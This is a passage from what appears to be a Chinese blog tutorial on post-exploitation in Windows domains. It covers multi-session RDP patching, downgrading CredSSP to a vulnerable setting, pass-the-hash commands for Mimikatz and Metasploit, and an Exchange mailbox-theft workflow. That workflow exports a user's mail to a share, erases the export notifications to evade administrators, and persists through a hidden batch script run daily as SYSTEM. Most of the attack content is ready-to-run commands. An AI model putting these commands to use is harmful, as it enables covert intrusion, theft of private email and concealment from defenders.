运行成功后提示"TermService" service patched ,其原理是修改C:\Windows\System32\termsrv.dll,注意这种方法在主机重启后失效。

方法二:通过RDPWrap

GitHub链接:https://github.com/stascorp/rdpwrap

install.bat     # 安装
uninstall.bat   # 卸载

install.bat中运行的程序为RDPWInst.exe,执行命令后多用户之间可以同时保持在线,而单用户在同一时间只能保持单会话在线。如果某一用户已经本地登录,再使用这个用户进行RDP登录,则会使本地登录掉线并切换到锁屏;而使用其他用户RDP登录,已经本地登录的用户是不受影响的。

如果需要进一步使单用户多会话登录,需要在运行RDPWInst.exe后,再用工具包中的RDPConf.exe图形化界面程序进行配置,不要勾选Single session per user即可,等同于注册表操作 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f,这种方法主机重启后依然有效。

(3)认证错误问题

有时发现用正确的用户凭证访问远程桌面会出现类似以下的报错提示:

An authentication error has occurred.
The function requested is not supported.

Remote computer: <hostname>
This could be due to CredSSP encryption oracle remediation. 

这是由于继CVE-2018-0886漏洞之后,微软发布了关于CredSSP认证的更新补丁,使用CredSSP认证 (如RDP) 的客户端/服务端必须同时更新补丁才能正常使用,否则登录时就会出现以上的报错提示,这时要正常使用RDP连接需要在未更新补丁的主机上更新补丁,或者在已更新补丁的机器上作以下更改:

方法一:组策略设置

gpedit打开组策略配置,在Computer Configuration -> Administrative Templates -> System -> Credentials Delegation中找到Encryption Oracle Remediation,默认为未配置,需要将其启用,防护级别改为 Vulnerable,应用并保存即可正常连接。如果组策略中没有此项,则可以直接修改注册表,如方法二。

方法二:注册表设置

修改注册表后需要重启生效:

reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Parameters" /v AllowEncryptionOracle /t REG_DWORD /d 2 /f

4.HASH传递认证

在获取账号HASH后,即便无法破解明文密码,我们也可以利用一些工具通过HASH传递直接获得资源的访问权限,这里介绍三种方法:

(1)Mimikatz
privilege::debug
sekurlsa::pth /user:username /domain:test.domain /ntlm:afc3417bbb519afffssa7416fbb6556aa
(2)Impacket

其中常用的远程执行命令工具 (wmiexec.py、psexec.py、smbexec.py、atexec.py等) 都支持哈希传递,上已介绍,不赘述。

(3)MSF
use exploit/windows/smb/psexec
set smbdomain test.domain
set smbuser administrator
set smbpass <LMhash>:<NThash>
set rhosts 10.10.1.100
run

四、控守邮服 (Exchange)

1.抓取密码

获取凭证章节已经对抓取密码技术有详细介绍了,这里再强调一次,在邮服上抓取密码可以获取近期所有登录过邮箱的账户,抓取一次收货满满。

2.获取邮件

最方便的是通过Exchange Management Shell命令获取,可以灵活定义时间、收件箱、发件箱、关键字等参数信息,导出邮件前确保当前用户administrator已经在"Mailbox Import Export"组中:

New-ManagementRoleAssignment –Role "Mailbox Import Export" –User administrator

然后创建一个当前账户可以访问的网络共享,这里以共享\\HOSTNAME\SHARE为例,接下来按规则导出mailuser用户的邮件到指定的共享路径:

# 导出用户的所有邮件
New-MailboxExportRequest -Mailbox mailuser -FilePath "\\HOSTNAME\SHARE\export.pst"

# 导出用户的邮件归档
New-MailboxExportRequest -Mailbox mailuser -FilePath "\\HOSTNAME\SHARE\export.pst" -Isarchive

# 按收件时间导出邮件,并以"myExport"作为邮件导出标识
# 如果没有指定-Name参数,则默认标识为MailboxExportX,X为0-9
New-MailboxExportRequest -Mailbox mailuser -Name myExport -contentfilter {(Received -gt '08/10/2020')} -Filepath "\\HOSTNAME\SHARE\export.pst" 
New-MailboxExportRequest -ContentFilter {(Received -lt '04/01/2010') -and (Received -ge '03/01/2010')} -Mailbox mailuser -Name myExport -FilePath "\\HOSTNAME\SHARE\export.pst"  

# 按收件箱、发件箱导出邮件
New-MailboxExportRequest -IncludeFolders "#Inbox#","#SentItems#" -Mailbox mailuser -FilePath "\\HOSTNAME\SHARE\export.pst"

查看邮箱导出的进度:

# 查看邮箱导出的进度
Get-MailboxExportRequest
Get-MailboxExportRequest -Name myExport

邮箱导出后系统会产生通知信息,所有登录管理界面的用户都可以看到,因此导出邮箱后切记要及时清除:

# 删除所有邮件导出信息
Get-MailboxExportRequest | Remove-MailboxExportRequest 

# -Identity:删除特定的邮件导出信息,Identity格式为"<邮箱用户名>\<邮箱导出标识>"
# 在没有-Name参数指定的情况下,Identity默认为"<邮箱用户名>\MailboxExportX",X为0-9
Remove-MailboxExportRequest -Identity "mailuser\myExport"

3.持续控守

控守邮服以持续获取邮件的方法有很多,这里介绍一种思路:将获取邮件的命令写成Batch脚本,然后通过系统计划任务定期执行完成,实现如下:

(1)编写Batch脚本

Batch脚本首先要利用powershell连接并进入Exchange Management Shell,然后再执行相应命令,这样需要将脚本写成一句命令的格式,命令比较长,先分开表示:

# 关闭所有的命令回显
@echo off

# 隐藏窗口运行powershell,连接并进入Exchange ManagementShell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -command ". 'C:\Program Files\Microsoft\Exchange Server\V15\bin\RemoteExchange.ps1';Connect-ExchangeServer -auto -ClientApplication:ManagementShell "

# 为使导出的邮箱信息自动更新且信息不累加,先将之前导出的邮箱信息删除
Remove-Item -Path "C:\Program Files\Common Files\System\temp.pst" -Force

# 按照邮箱导出命令中时间参数的格式要求,获取系统当前时间
$date=get-date -format "MM/dd/yyyy 00:00"

# 获取mailuser用户当天接收的邮件
New-MailboxExportRequest -Name myExport -ContentFilter {(Received -gt $date)} -Mailbox "mailuser" -FilePath "\\HOSTNAME\SHARE\temp.pst"

# 延时一段时间,单位为秒
Start-Sleep -s 120

# 删除邮箱导出的通知信息
# -confirm:$false:不询问是否删除
Remove-MailboxExportRequest -Identity mailuser\myExport -confirm:$false

exit

将其写成一句指令的格式,保存为bat文件:

@echo off

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -noexit -command ". 'C:\Program Files\Microsoft\Exchange Server\V15\bin\RemoteExchange.ps1'; Connect-ExchangeServer -auto -ClientApplication:ManagementShell;Remove-Item -Path '\\HOSTNAME\SHARE\temp.pst' -Force; $date=get-date -format 'MM/dd/yyyy 00:00'; New-MailboxExportRequest -Name myExport -ContentFilter \"(Received -gt '$date')\" -Mailbox 'mailuser' -FilePath '\\HOSTNAME\SHARE\temp.pst';Start-Sleep -s 120; Remove-MailboxExportRequest -Identity mailuser\myExport -confirm:$false; exit"

注意:
① 在Remove-MailboxExportRequest执行前要确保计划任务的工作均已完成,否则可能导致误删仍在运行中的任务,所以这里用Start-Sleep延时一段时间再删除;

② 在一句指令中’-ContentFilter’后原本的参数{(Received -gt $date)}要变成"(Received -gt '$date')",因为外层已经用了"",所以这里要再加上转义符\,否则会出错。

然后将编辑好的bat脚本放在一个隐蔽的且邮服可以访问的文件夹下,再利用attrib命令将bat脚本隐藏:

# 设置文件/文件夹属性
attrib +s +a +h +r temp.bat
# +:添加属性
# -:清除属性
# R:只读文件属性
# A:文档文件属性
# S:系统文件属性
# H:隐藏文件属性

# 查看文件/文件夹属性
attrib temp.bat

# 删除文件/文件夹之前,先要将后加的属性删除
attrib -s -a -h -r temp.bat
del temp.bat
(2)创建计划任务

最后在目标主机上创建计划任务,设置为每天上午10:00执行bat脚本,可以通过schtasks命令配置,也可以通过taskschd打开计划任务管理界面进行配置,简单查看、删除任务使用schtasks命令即可,创建条件比较复杂的计划任务建议使用计划任务管理界面配置,毕竟界面操作更加简单方便,不用记太多繁琐命令,这里顺带把schtasks的基本使用也介绍下:

# 创建计划任务
schtasks /Create /TN testing.exe /SC DAILY /TR "C:\Program Files\Common Files\System\test.bat" /RU SYSTEM /ST 10:00

# 运行计划任务
schtasks /Run /TN testing.exe

# 结束计划任务
schtasks /End /TN testing.exe

# 删除计划任务
schtasks /Delete /TN testing.exe

# 查看当前用户指定的计划任务
# 包括上次运行时间、下次运行时间、以交互式/后台运行等信息
# 若没有/TN参数指定,则查看当前用户所有的计划任务
schtasks /Query /V /TN testing.exe

# /TN:taskname,计划任务的标识名称
# /SC:schedule,指定计划频率,有效值为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE、ONEVENT
# /TR:taskrun,指定计划任务执行程序的路径
# /RU:指定运行任务的账户,系统账户为"SYSTEM"
# /ST:start time,任务开始时间
# /V:输出详细信息

有个坑要注意,用taskschd计划任务管理界面创建任务时要勾选不管用户是否登录都要运行使用最高权限确保任务能够以后台运行,不然用户注销后任务就暂停了,计划任务将失去意义。

  • 6
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值